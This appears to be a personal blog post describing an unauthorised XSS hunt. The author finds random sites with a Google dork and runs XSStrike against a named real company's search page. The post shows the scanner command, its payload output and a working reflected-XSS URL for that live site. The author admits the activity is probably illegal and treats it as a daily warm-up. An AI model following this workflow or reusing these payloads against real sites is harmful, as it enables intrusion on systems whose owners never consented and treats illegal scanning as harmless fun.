XSS Treasure Hunt: Unearthing Vulnerabilities with Google Dorks — Day 1

XSS Treasure Hunt: Unearthing Vulnerabilities with Google Dorks

Forget the tedious technical jargon; let’s dive straight into the XSS treasure hunt using the magnificent power of Google dorks. Picture this: instead of sweating bullets over bug bounty platforms for hours on end, why not kick back, relax, and let Google dorks do the heavy lifting? After all, who doesn’t love a good ol’ vulnerability scavenger hunt?

So, armed with curiosity and a cup of coffee, I ventured into the wild realms of theGoogle Hacking Database (GHDB) — Google Dorks, OSINT, Recon (exploit-db.com). After a few clicks, I settled on a random gem: “inurl:php?id=1 site:com”

Now, it’s as simple as googling: inurl:php?id=1 site:com, and voilà! The journey begins.

I fired up my terminal with XSStrike, ready to unleash chaos upon unsuspecting websites. Of course, not every site that popped up was ripe for the XSS plucking, but that’s all part of the thrill, isn’t it? Persistence pays off, and lo and behold, there it was, nestled among the search results like a hidden gem: https://www.transpakcorp.com/company.php?id=752.

With a gleam in my eye and fingers at the ready, I delved into the site and, as expected, stumbled upon the elusive search box. Without hesitation, I unleashed XSStrike upon it, like a modern-day pirate seeking treasure.

Search Endpoint: https://www.transpakcorp.com/search.php?q=

XSStrike Command:

python3 xsstrike.py — blind -u https://www.transpakcorp.com/search.php?q=

Results on terminal:

        XSStrike v3.1.5

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: q
[!] Reflections found: 3
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 9240
------------------------------------------------------------
[+] Payload: <HTml%09oNmOusEOveR%0a=%0aconfirm()%0dx//
[!] Efficiency: 94
[!] Confidence: 10
------------------------------------------------------------
[+] Payload: <dETaILs%09ONToGGle%09=%09confirm()>
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]

so, I tried that:

https://www.transpakcorp.com/search.php?q=%3CdETaILs%09ONToGGle%09=%09confirm()%3E

Behold, the payload’s handiwork — a tantalizing “details” option.

Clickety-click, and bam! The confirmation pops up like a surprise party.

And thus, my friends, a tradition is born. Every day, or perhaps every once in a while, I embark on this whimsical journey — not for fame or fortune, but for the sheer joy of the hunt. Sure, it may not line my pockets with gold, and it’s probably not entirely legal (let’s keep that between us, shall we?), but hey, it’s one heck of a warm-up routine.

So here’s to the thrill-seekers, the curious souls, and the slightly reckless adventurers. May your exploits be daring, your payloads be potent, and your days be filled with wonder and laughter. Cheers to the XSS treasure hunt, and may the odds be ever in our favor. Stay curious, my friends, and remember: always hack responsibly.

---